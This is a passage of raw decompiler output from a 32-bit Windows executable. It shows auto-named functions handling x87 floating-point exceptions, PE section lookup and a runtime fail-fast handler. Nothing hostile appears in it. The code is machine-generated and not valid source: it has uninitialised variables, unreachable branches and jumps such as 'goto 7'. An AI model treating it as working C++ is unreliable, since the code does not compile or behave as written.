*reinterpret_cast<void***>(a1) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1)) ^ reinterpret_cast<unsigned char>(ecx17));
*reinterpret_cast<void***>(a1 + 32) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 32)) | 1);
if (!a7) {
*reinterpret_cast<void***>(a1 + 32) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 32)) & 0xffffffe3 | 2);
__asm__("fld qword [eax]");
__asm__("fstp qword [eax+0x10]");
*reinterpret_cast<uint32_t*>(a1 + 96) = *reinterpret_cast<uint32_t*>(a1 + 96) | 1;
ecx17 = a1;
*reinterpret_cast<uint32_t*>(ecx17 + 96) = *reinterpret_cast<uint32_t*>(ecx17 + 96) &
0xffffffe3 | 2;
__asm__("fld qword [ebx]");
__asm__("fstp qword [eax+0x50]");
} else {
*reinterpret_cast<void***>(a1 + 32) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a1 + 32)) & 0xffffffe1);
__asm__("fld dword [eax]");
__asm__("fstp dword [eax+0x10]");
*reinterpret_cast<uint32_t*>(a1 + 96) = *reinterpret_cast<uint32_t*>(a1 + 96) | 1;
 *reinterpret_cast<uint32_t*>(a1 + 96) = *reinterpret_cast<uint32_t*>(a1 + 96) & 0xffffffe1;
__asm__("fld dword [ebx]");
__asm__("fstp dword [eax+0x50]");
}
fun_409f0d(ecx17);
RaiseException();
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 16) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffffe);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 8) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffffb);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 4) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffff7);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 2) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xffffffef);
}
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 8)) & 1) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xffffffdf);
}
eax18 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1)) & 3;
if (!eax18) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff);
} else {
eax19 = eax18 - 1;
if (!eax19) {
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff7ff | 0x400);
goto addr_40c53a_54;
} else {
eax21 = eax19 - 1;
if (!eax21) {
eax20 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffffbff | 0x800);
goto addr_40c53a_54;
} else {
if (!(eax21 - 1)) {
 *reinterpret_cast<void***>(a2) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2)) |
0xc00);
}
}
}
}
addr_40c54e_59:
eax22 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1)) >> 2 & 7;
if (!eax22) {
eax23 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff | 0x300);
} else {
eax24 = eax22 - 1;
if (!eax24) {
eax23 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff | 0x200);
} else {
if (!(eax24 - 1)) {
*reinterpret_cast<void***>(a2) = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a2)) & 0xfffff3ff);
goto addr_40c57f_65;
}
}
}
*reinterpret_cast<void***>(a2) = eax23;
addr_40c57f_65:
if (!a7) {
__asm__("fld qword [ecx+0x50]");
__asm__("fstp qword [ebx]");
} else {
__asm__("fld dword [ecx+0x50]");
__asm__("fstp dword [ebx]");
}
goto esi25;
addr_40c53a_54:
*reinterpret_cast<void***>(a2) = eax20;
goto addr_40c54e_59;
addr_40c3f1_25:
*reinterpret_cast<void***>(ecx12) = eax13;
goto addr_40c407_30;
}

void** fun_40bfa0(void** a1) {

 void** eax2;
void* eax3;
void** v4;

eax2 = a1;
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 32)) {
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 8)) {
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 4)) {
if (!(*reinterpret_cast<unsigned char*>(&eax2) & 1)) {
eax3 = reinterpret_cast<void*>(static_cast<uint32_t>(*reinterpret_cast<unsigned
char*>(&eax2)) & 2);
return reinterpret_cast<uint32_t>(eax3) + reinterpret_cast<uint32_t>(eax3);
} else {
v4 = reinterpret_cast<void**>(3);
}
} else {
v4 = reinterpret_cast<void**>(2);
}
} else {
return 1;
}
} else {
v4 = reinterpret_cast<void**>(5);
}
return v4;
}

void fun_40c5c5(void** ecx, void** a2, uint32_t a3, void** a4, void** a5, void** a6, uint32_t a7,
void** a8, int32_t a9, void** a10) {
void* ebp11;
uint32_t edx12;
void** ecx13;
void** eax14;
void** v15;
void** v16;
void** v17;
uint32_t v18;
void** v19;
int32_t v20;
void** v21;
void** esi22;
void** eax23;

ebp11 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

 edx12 = a3;
ecx13 = reinterpret_cast<void**>(0);
eax14 = reinterpret_cast<void**>(0);
do {
if (*reinterpret_cast<uint32_t*>(reinterpret_cast<unsigned char>(eax14) * 8 + 0x412c98)
== edx12)
break;
++eax14;
} while (reinterpret_cast<signed char>(eax14) < reinterpret_cast<signed char>(29));
goto addr_40c5e3_4;
ecx13 = *reinterpret_cast<void***>(reinterpret_cast<unsigned char>(eax14) * 8 + 0x412c9c);
addr_40c5ec_6:
if (!ecx13) {
fun_409f20(ecx13, a10, 0xffff);
fun_40c596(ecx13, a2, a10, 0xffff, v15, ecx13, v16, v17, v18, v19, v20);
__asm__("fld qword [ebp+0x20]");
} else {
v21 = a6;
fun_409f20(ecx13, a10, 0xffff);
eax23 = fun_404cda(ecx13, reinterpret_cast<int32_t>(ebp11) + 0xffffffe0, a10, 0xffff, esi22,
a2, ecx13, a4, a5, v21, a7, a8, a9);
if (!eax23) {
fun_40c596(ecx13, a2, esi22, a2, ecx13, a4, a5, v21, a7, a8, a9);
}
__asm__("fld qword [ebp-0x8]");
}
return;
addr_40c5e3_4:
goto addr_40c5ec_6;
}

int16_t fun_409f4c(void** ecx, void** a2) {

void** ecx3;
int16_t ax4;
int16_t fpu_status_word5;

ecx3 = a2;
if (*reinterpret_cast<unsigned char*>(&ecx3) & 1) {
__asm__("fld tword [0x412140]");
__asm__("fistp dword [ebp-0x4]");
__asm__("wait ");
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 8) {
__asm__("wait ");
 __asm__("fld tword [0x412140]");
__asm__("fstp qword [ebp-0xc]");
__asm__("wait ");
__asm__("wait ");
ax4 = fpu_status_word5;
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 16) {
__asm__("fld tword [0x41214c]");
__asm__("fstp qword [ebp-0xc]");
__asm__("wait ");
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 4) {
__asm__("fldz ");
__asm__("fld1 ");
__asm__("fdivrp st1, st0");
__asm__("fstp st0");
__asm__("wait ");
}
if (*reinterpret_cast<unsigned char*>(&ecx3) & 32) {
__asm__("fldlpi ");
__asm__("fstp qword [ebp-0xc]");
__asm__("wait ");
}
return ax4;
}

uint32_t fun_40c73b(void** ecx, void** a2);

void fun_40c667(void** a1, void** a2, uint32_t* a3) {

void** ecx4;
void** edx5;
uint32_t edi6;
int16_t ax7;
int16_t fpu_status_word8;
int32_t eax9;
void** v10;

__asm__("fld qword [ebp+0x8]");

__asm__("fldz ");
__asm__("fucom st1");
if (__intrinsic()) {
if (static_cast<uint32_t>(*reinterpret_cast<uint16_t*>(&a2 + 2)) & 0x7ff0 || (ecx4 = a2, edx5
= a1, !(reinterpret_cast<unsigned char>(ecx4) & 0xfffff)) && !edx5) {
__asm__("fstp st0");
 __asm__("fstp qword [esp]");
fun_40c73b(ecx4, ecx4);
edi6 = (static_cast<uint32_t>(*reinterpret_cast<uint16_t*>(&a2 + 2)) >> 4 & 0x7ff) -
0x3fe;
} else {
__asm__("fcompp ");
edi6 = 0xfffffc03;
ax7 = fpu_status_word8;
if (*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&ax7) + 1) & 65) {
eax9 = 0;
} else {
eax9 = 1;
}
if (!(*reinterpret_cast<unsigned char*>(&a2 + 2) & 16)) {
do {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) +
reinterpret_cast<unsigned char>(ecx4));
v10 = ecx4;
if (reinterpret_cast<signed char>(edx5) < reinterpret_cast<signed char>(0)) {
ecx4 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx4) | 1);
v10 = ecx4;
}
edx5 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx5) +
reinterpret_cast<unsigned char>(edx5));
--edi6;
} while (!(*reinterpret_cast<unsigned char*>(&v10 + 2) & 16));
}
if (eax9) {
}
__asm__("fld qword [ebp+0x8]");
__asm__("fstp qword [esp]");
fun_40c73b(0xffef, 0xffef);
}
} else {
__asm__("fstp st1");
edi6 = 0;
}
*a3 = edi6;
return;
}

struct s54 {
signed char[6] pad6;
uint16_t f6;
 signed char[12] pad20;
uint16_t f14;
};

struct s15* fun_40c880(struct s16* a1, uint32_t a2) {

uint32_t edx3;
struct s54* ecx4;
uint32_t ebx5;
struct s15* eax6;
uint32_t edi7;

edx3 = 0;
ecx4 = reinterpret_cast<struct s54*>(a1->f3c + reinterpret_cast<int32_t>(a1));
ebx5 = ecx4->f6;
eax6 = reinterpret_cast<struct s15*>(ecx4->f14 + 24 + reinterpret_cast<int32_t>(ecx4));
if (!ebx5) {
addr_40c8bc_2:
eax6 = reinterpret_cast<struct s15*>(0);
} else {
edi7 = a2;
do {
if (edi7 < eax6->fc)
continue;
if (edi7 < eax6->f8 + eax6->fc)
break;
++edx3;
++eax6;
} while (edx3 < ebx5);
goto addr_40c8bc_2;
}
return eax6;
}

struct s55 {
signed char[14] pad14;
signed char fe;
};

void fun_40b467(void** ecx) {

struct s55* edx2;
int16_t bx3;
int16_t bx4;
int32_t ebp5;
int32_t ebp6;
 int32_t ebp7;
int32_t edx8;
int32_t ebp9;
int16_t fpu_status_word10;
int32_t ebp11;
signed char cl12;
int32_t ebp13;
int32_t ebp14;
int16_t fpu_status_word15;
int32_t edx16;
int32_t ebp17;

if (edx2->fe != 5) {
bx3 = 0x133f;
} else {
bx4 = *reinterpret_cast<int16_t*>(ebp5 - 0xa4);
*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&bx3) + 1) =
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(&bx4) + 1) | 2) & 0xfe);
*reinterpret_cast<signed char*>(&bx3) = 63;
}
*reinterpret_cast<int16_t*>(ebp6 - 0xa2) = bx3;
__asm__("fldcw word [ebp+0xffffff5e]");
__asm__("fxam ");
*reinterpret_cast<int32_t*>(ebp7 - 0x94) = edx8;
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp9 - 0xa0) = fpu_status_word10;
*reinterpret_cast<signed char*>(ebp11 - 0x90) = 0;
__asm__("fxch st0, st1");
cl12 = *reinterpret_cast<signed char*>(ebp13 - 0x9f);
__asm__("fxam ");
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp14 - 0xa0) = fpu_status_word15;
__asm__("fxch st0, st1");
__asm__("rol ch, 1");
__asm__("xlatb ");
__asm__("rol cl, 1");
__asm__("xlatb ");
goto *reinterpret_cast<int32_t*>(edx16 + reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(reinterpret_cast<signed char>(cl12 << 1) >> 1) & 15) | reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(reinterpret_cast<signed char>(*reinterpret_cast<signed
char*>(ebp17 - 0x9f) << 1) >> 1) & 15) << 1) << 1)) + 16);
}

int32_t g417278;

struct s56 {
signed char[12] pad12;
signed char fc;
};

struct s57 {
signed char[14] pad14;
signed char fe;
};

struct s58 {
int32_t f0;
int32_t f4;
};

struct s59 {
signed char[8] pad8;
int32_t f8;
};

struct s60 {
int32_t f0;
int32_t f4;
};

struct s61 {
int32_t f0;
int32_t f4;
};

struct s62 {
signed char[16] pad16;
int32_t f10;
};

struct s63 {
int32_t f0;
int32_t f4;
};
unsigned char fun_40cebf(void** ecx, int32_t a2, int32_t a3, int32_t a4) {
int1_t zf5;
void** eax6;
int32_t ebp7;
int32_t ebp8;
uint16_t fpu_status_word9;
int32_t ebp10;
int32_t ebp11;
int32_t ebp12;
int16_t ax13;
int16_t fpu_status_word14;
uint16_t ax15;
int32_t ebp16;
int32_t ebp17;
int16_t ax18;
int16_t fpu_status_word19;
int32_t ebp20;
struct s56* ebx21;
int32_t ebp22;
int32_t ebp23;
int32_t ebp24;
uint32_t v25;
int32_t ebp26;
void* ebp27;
void* ebp28;
int32_t edi29;
int32_t esi30;
struct s58* esi31;
struct s59* ebp32;
struct s60* edi33;
int32_t ebp34;
struct s61* esi35;
struct s62* ebp36;
struct s63* edi37;
int32_t ebp38;

zf5 = g417278 == 0;
if (!zf5)
goto addr_40cf17_2;
__asm__("fst qword [ebp+0xfffffd30]");
*reinterpret_cast<unsigned char*>(&eax6) = *reinterpret_cast<unsigned char*>(ebp7 - 0x90);
if (!*reinterpret_cast<unsigned char*>(&eax6)) {
addr_40cef2_4:
 *reinterpret_cast<uint16_t*>(&eax6) =
reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(ebp8 - 0xa4) & 32);
if (*reinterpret_cast<uint16_t*>(&eax6) || (*reinterpret_cast<uint16_t*>(&eax6) =
reinterpret_cast<uint16_t>(fpu_status_word9 & 32), *reinterpret_cast<uint16_t*>(&eax6) == 0))
{
addr_40cf17_2:
__asm__("fldcw word [ebp+0xffffff5c]");
__asm__("wait ");
return *reinterpret_cast<unsigned char*>(&eax6);
} else {
*reinterpret_cast<int32_t*>(ebp10 - 0x8e) = 8;
}
} else {
if (*reinterpret_cast<unsigned char*>(&eax6) == 0xff) {
if ((*reinterpret_cast<uint16_t*>(ebp11 - 0x2ca) & 0x7ff0) == 0x7ff0) {
addr_40cf78_8:
*reinterpret_cast<int32_t*>(ebp12 - 0x8e) = 3;
__asm__("fld qword [0x413ae0]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
__asm__("fabs ");
__asm__("fcomp qword [0x413ad0]");
__asm__("wait ");
ax13 = fpu_status_word14;
if (!(*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax13) + 1) |
*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax13) + 1))) {
__asm__("fmul qword [0x413af0]");
}
} else {
goto addr_40cef2_4;
}
} else {
if (*reinterpret_cast<unsigned char*>(&eax6) == 0xfe) {
ax15 = reinterpret_cast<uint16_t>(*reinterpret_cast<uint16_t*>(ebp16 - 0x2ca) &
0x7ff0);
if (!ax15) {
*reinterpret_cast<int32_t*>(ebp17 - 0x8e) = 4;
__asm__("fld qword [0x413ae8]");
__asm__("fxch st0, st1");
__asm__("fscale ");
__asm__("fstp st1");
__asm__("fld st0");
 __asm__("fabs ");
__asm__("fcomp qword [0x413ad8]");
__asm__("wait ");
ax18 = fpu_status_word19;
if (*reinterpret_cast<uint1_t*>(reinterpret_cast<int32_t>(&ax18) + 1)) {
__asm__("fmul qword [0x413af8]");
}
} else {
if (ax15 == 0x7ff0)
goto addr_40cf78_8;
goto addr_40cef2_4;
}
} else {
if (!*reinterpret_cast<unsigned char*>(&eax6))
goto addr_40cf17_2;
*reinterpret_cast<int32_t*>(ebp20 - 0x8e) = *reinterpret_cast<signed char*>(&eax6);
}
}
}
ebx21 = reinterpret_cast<struct
s56*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp22 - 0x94)) + 1);
*reinterpret_cast<struct s56**>(ebp23 - 0x8a) = ebx21;
if (*reinterpret_cast<unsigned char*>(ebp24 - 0x2c8) & 1) {
addr_40cfd6_20:
__asm__("fstp qword [ebp-0x76]");
v25 = reinterpret_cast<uint32_t>(static_cast<int32_t>((*reinterpret_cast<struct
s57**>(ebp26 - 0x94))->fe));
eax6 = fun_40be7f(ecx, v25, reinterpret_cast<int32_t>(ebp27) + 0xffffff72,
reinterpret_cast<int32_t>(ebp28) - 0xa4, edi29, esi30, __return_address(), a2, a3, a4);
__asm__("fld qword [ebp-0x76]");
goto addr_40cf17_2;
} else {
esi31 = reinterpret_cast<struct s58*>(&ebp32->f8);
edi33 = reinterpret_cast<struct s60*>(ebp34 - 0x86);
edi33->f0 = esi31->f0;
edi33->f4 = esi31->f4;
if (ebx21->fc == 1)
goto addr_40cfd6_20;
}
esi35 = reinterpret_cast<struct s61*>(&ebp36->f10);
edi37 = reinterpret_cast<struct s63*>(ebp38 - 0x7e);
edi37->f0 = esi35->f0;
edi37->f4 = esi35->f4;
goto addr_40cfd6_20;
}

struct s64 {
signed char[14] pad14;
signed char fe;
};

void fun_40b400(void** ecx) {

struct s64* edx2;
int16_t bx3;
int16_t bx4;
int32_t ebp5;
int32_t ebp6;
int32_t ebp7;
int32_t edx8;
int32_t ebp9;
int16_t fpu_status_word10;
int32_t ebp11;
int32_t edx12;
int32_t ebp13;

if (edx2->fe != 5) {
bx3 = 0x133f;
} else {
bx4 = *reinterpret_cast<int16_t*>(ebp5 - 0xa4);
*reinterpret_cast<unsigned char*>(reinterpret_cast<int32_t>(&bx3) + 1) =
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned
char*>(reinterpret_cast<int32_t>(&bx4) + 1) | 2) & 0xfe);
*reinterpret_cast<signed char*>(&bx3) = 63;
}
*reinterpret_cast<int16_t*>(ebp6 - 0xa2) = bx3;
__asm__("fldcw word [ebp+0xffffff5e]");
__asm__("fxam ");
*reinterpret_cast<int32_t*>(ebp7 - 0x94) = edx8;
__asm__("wait ");
*reinterpret_cast<int16_t*>(ebp9 - 0xa0) = fpu_status_word10;
*reinterpret_cast<signed char*>(ebp11 - 0x90) = 0;
__asm__("wait ");
__asm__("rol cl, 1");
__asm__("xlatb ");
goto *reinterpret_cast<int32_t*>(edx12 + reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(reinterpret_cast<signed char>(*reinterpret_cast<signed
char*>(ebp13 - 0x9f) << 1) >> 1) & 15) + 16);
}
void fun_40c282(void** a1, void** a2, void** a3, uint32_t a4, void** a5, void** a6);

void** fun_40be7f(void** ecx, uint32_t a2, void** a3, uint16_t* a4, int32_t a5, int32_t a6, int32_t
a7, int32_t a8, int32_t a9, int32_t a10) {
void* ebp11;
uint32_t eax12;
void** ecx13;
void** v14;
void** eax15;
void** eax16;
void** v17;
void** eax18;
void** eax19;
void** eax20;
void** ecx21;
signed char al22;
void** edi23;
void** esi24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
uint32_t v30;
void** v31;
int32_t v32;
void** eax33;
void** v34;
void** v35;
void** v36;
void** v37;
uint32_t v38;
void** v39;
int32_t v40;
int32_t eax41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** eax48;
 ebp11 =
reinterpret_cast<void*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(__zero_stack_offs
et()) - 4 - 4 - 4) & 0xfffffff0) + 4 - 4);
eax12 = g416004;
ecx13 = reinterpret_cast<void**>(static_cast<uint32_t>(*a4));
v14 = ecx13;
eax15 = *reinterpret_cast<void***>(a3) - 1;
if (!eax15)
goto addr_40bee7_2;
eax16 = eax15 - 1;
if (!eax16) {
v17 = reinterpret_cast<void**>(4);
} else {
eax18 = eax16 - 1;
if (!eax18) {
v17 = reinterpret_cast<void**>(17);
} else {
eax19 = eax18 - 1;
if (!eax19) {
v17 = reinterpret_cast<void**>(18);
} else {
eax20 = eax19 - 1;
if (!eax20) {
addr_40bee7_2:
v17 = reinterpret_cast<void**>(8);
} else {
if (eax20 - 3) {
addr_40bf49_11:
fun_409f20(ecx13, ecx13, 0xffff);
ecx21 = reinterpret_cast<void**>(0xffff);
if (*reinterpret_cast<void***>(a3) == 8 || ((al22 = fun_404cad(0xffff), al22 == 0) ||
(eax33 = fun_404cda(0xffff, a3, edi23, esi24, v25, v14, v26, v27, v28, v29, v30, v31, v32), ecx21
= a3, !eax33))) {
v34 = *reinterpret_cast<void***>(a3);
fun_40c596(ecx21, v34, edi23, esi24, v35, v14, v36, v37, v38, v39, v40);
goto addr_40bf77_13;
}
} else {
v17 = reinterpret_cast<void**>(16);
}
}
}
}
}
 eax41 = fun_40c0a2(ecx13, v17, a3 + 24, ecx13);
if (!eax41) {
if (a2 == 16 || (a2 == 22 || a2 == 29)) {
__asm__("fld qword [esi+0x10]");
__asm__("fstp qword [ebp-0x50]");
}
fun_40c282(reinterpret_cast<uint32_t>(ebp11) + 0xffffff80,
reinterpret_cast<uint32_t>(ebp11) + 0xffffff7c, v17, a2, a3 + 8, a3 + 24);
}
ecx13 = v14;
goto addr_40bf49_11;
addr_40bf77_13:
eax48 = fun_402f62(eax12 ^ reinterpret_cast<uint32_t>(ebp11) ^
reinterpret_cast<uint32_t>(ebp11), v42, v14, v43, v44, v45, v46, v47);
return eax48;
}

void** fun_404a93(void** ecx, struct s0* a2) {

void** edi3;
uint32_t eax4;
void** edx5;
void** eax6;

eax4 = fun_404a14(ecx, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 0xfffffff0, 1,

edi3, 0);
if (eax4 == 1) {
edx5 = reinterpret_cast<void**>(0);
eax6 = reinterpret_cast<void**>(0);
} else {
eax6 = reinterpret_cast<void**>(0xffffffff);
edx5 = reinterpret_cast<void**>(0xffffffff);
}
if (a2) {
a2->f0 = eax6;
a2->f4 = edx5;
}
return eax6;
}

int32_t g416aa8;

uint32_t fun_4034ec(void** ecx, void** a2) {

int1_t zf3;
void** ebp4;
 int32_t eax5;
uint32_t eax6;

zf3 = g416aa8 == -1;

if (!zf3) {
eax5 = fun_405af9(ecx, 0x416aa8, a2, ebp4, __return_address());
} else {
eax5 = fun_405a89(ecx, a2);
}
eax6 = reinterpret_cast<uint32_t>(-eax5);
return ~(eax6 - (eax6 + reinterpret_cast<uint1_t>(eax6 < eax6 +
reinterpret_cast<uint1_t>(!!eax5)))) & reinterpret_cast<unsigned char>(a2);
}

void** fun_4035cd(void** a1) {

return 0x4000;
}

void fun_403647(void** ecx, void** a2) {

void* ebp3;
void** ebx4;
int32_t eax5;
void** v6;
void** v7;
void** v8;
void** v9;
void** v10;
void** v11;
void** v12;
void** v13;
void** v14;
void** v15;
void** v16;
void** v17;
void** v18;
void** v19;
void** v20;
void** v21;
void** v22;
void** v23;
void** v24;
void** v25;
void** v26;
void** v27;
void** v28;
void** v29;
void** v30;
void** v31;
void** v32;
void** v33;
void** v34;
void** v35;
void** v36;
void** v37;
void** v38;
void** v39;
void** v40;
void** v41;
void** v42;
void** v43;
void** v44;
void** v45;
void** v46;
void** v47;
void** v48;
void** v49;
void** v50;
void** v51;
void** v52;
void** v53;
void** v54;
void** v55;
void** v56;
void** v57;
void** v58;
void** v59;
void** v60;
void** v61;
void** v62;
void** v63;
void** v64;
void** v65;
void** v66;
void** v67;
void** v68;
void** v69;
void** v70;
void** v71;
void** v72;
void** v73;
void** v74;
void** v75;
void** v76;
void** v77;
void** v78;
void** v79;
void** v80;
int32_t v81;
int32_t v82;
int32_t v83;
int32_t v84;
int32_t v85;
int32_t v86;
int32_t v87;
int32_t v88;
int32_t v89;
int32_t v90;
int32_t v91;
int32_t v92;
int32_t v93;
int32_t v94;
int32_t v95;
int32_t v96;
int32_t v97;
int32_t v98;
int32_t v99;
int32_t v100;
int32_t v101;
int32_t v102;
int32_t v103;
int32_t v104;
int32_t v105;
int32_t v106;
int32_t v107;
int32_t v108;
int32_t v109;
int32_t v110;
int32_t v111;
int32_t v112;
int32_t v113;
int32_t v114;
int32_t eax115;
 int32_t ebx116;
int32_t ebx117;
int32_t eax118;
void** v119;
void** v120;

ebp3 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax5 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(23, ebx4));
if (eax5) {
ecx = a2;
__asm__("int 0x29");
}
fun_40383d(3, 23, ebx4, v6, v7, v8, v9, v10);
fun_403de0(ecx, reinterpret_cast<int32_t>(ebp3) + 0xfffffcdc, 0, 0x2cc, 23, ebx4, v11, v12,
v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31,
v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45);
v46 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(ebp3) + 0xffffffa8);
fun_403de0(ecx, v46, 0, 80, 23, ebx4, 0x10001, v47, v48, v49, v50, v51, v52, v53, v54, v55,
v56, v57, v58, v59, v60, v61, v62, v63, v64, v65, v66, v67, v68, v69, v70, v71, v72, v73, v74,
v75, v76, v77, v78, v79, v80, ecx, v46, 0, 80, 23, ebx4, 0x10001, v81, v82, v83, v84, v85, v86,
v87, v88, v89, v90, v91, v92, v93, v94, v95, v96, v97, v98, v99, v100, v101, v102, v103, v104,
v105, v106, v107, v108, v109, v110, v111, v112, v113, v114);
eax115 = reinterpret_cast<int32_t>(IsDebuggerPresent(23, ebx4, 0x10001));
ebx116 = eax115 - 1;
ebx117 = -ebx116;
SetUnhandledExceptionFilter(0, 23, ebx4, 0x10001);
eax118 = reinterpret_cast<int32_t>(UnhandledExceptionFilter());
if (!eax118 && !(reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned
char*>(&ebx117) - reinterpret_cast<unsigned char>(*reinterpret_cast<unsigned
char*>(&ebx117) + (*reinterpret_cast<unsigned char*>(&ebx117) < reinterpret_cast<unsigned
char>(*reinterpret_cast<unsigned char*>(&ebx117) + reinterpret_cast<uint1_t>(!!ebx116))))) +
1)) {
fun_40383d(3, reinterpret_cast<int32_t>(ebp3) + 0xfffffff8, 0, 23, ebx4, 0x10001, v119,
v120);
}
return;
}

struct s65 {
uint32_t f0;
int32_t f4;
};

struct s65* fun_403606();

struct s66 {
uint32_t f0;
int32_t f4;
};

struct s66* fun_40360c();

void fun_403612(void** ecx) {

struct s65* eax2;
int32_t ecx3;
struct s66* eax4;
int32_t ecx5;

eax2 = fun_403606();
ecx3 = eax2->f4;
eax2->f0 = eax2->f0 | 36;
eax2->f4 = ecx3;
eax4 = fun_40360c();
ecx5 = eax4->f4;
eax4->f0 = eax4->f0 | 2;
eax4->f4 = ecx5;
return;
}

signed char fun_4035df(void** ecx) {

return 1;
}

void** fun_40363b(void** ecx) {

return 0x417290;
}

void fun_403603(void** ecx) {

return;
}

void** fun_405c32(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6);

void fun_4035e2(void** ecx, void** a2, void** a3) {

void** eax4;

eax4 = fun_405c32(0, 0x10000, 0x30000, __return_address(), a2, a3);

if (eax4) {
 fun_403647(ecx, 7);
goto 7;
} else {
return;
}
}

uint32_t fun_405699(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void** esi10;
void** ebp11;
void** eax12;
int32_t eax13;
void** ecx14;
uint32_t eax15;
void** ecx16;
void** eax17;

eax12 = fun_40695e(ecx, esi10, ebp11, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
eax13 = 0;
ecx14 = *reinterpret_cast<void***>(eax12 + 0x350);
*reinterpret_cast<unsigned char*>(&eax13) =
reinterpret_cast<uint1_t>((*reinterpret_cast<unsigned char*>(&ecx14) & 2) == 0);
eax15 = reinterpret_cast<uint32_t>(eax13 + 1);
if (a2 == 0xffffffff) {
g4166a0 = reinterpret_cast<void**>(0xffffffff);
goto addr_4056f8_3;
} else {
if (!a2) {
addr_4056f8_3:
return eax15;
} else {
if (a2 == 1) {
ecx16 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx14) | 2);
} else {
if (a2 == 2) {
ecx16 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx14) &
0xfffffffd);
} else {
eax17 = fun_4060e8(ecx14, esi10, ebp11, __return_address(), a2, a3, a4, a5, a6,
a7);
*reinterpret_cast<void***>(eax17) = reinterpret_cast<void**>(22);
fun_40602c(ecx14, esi10, ebp11, __return_address(), a2);
eax15 = 0xffffffff;
 goto addr_4056f8_3;
}
}
}
*reinterpret_cast<void***>(eax12 + 0x350) = ecx16;
goto addr_4056f8_3;
}
}

void** fun_40526c(void** ecx) {

void** eax2;
unsigned char dl3;
uint32_t ecx4;
uint32_t ecx5;

eax2 = g416ef4;
if (!eax2) {
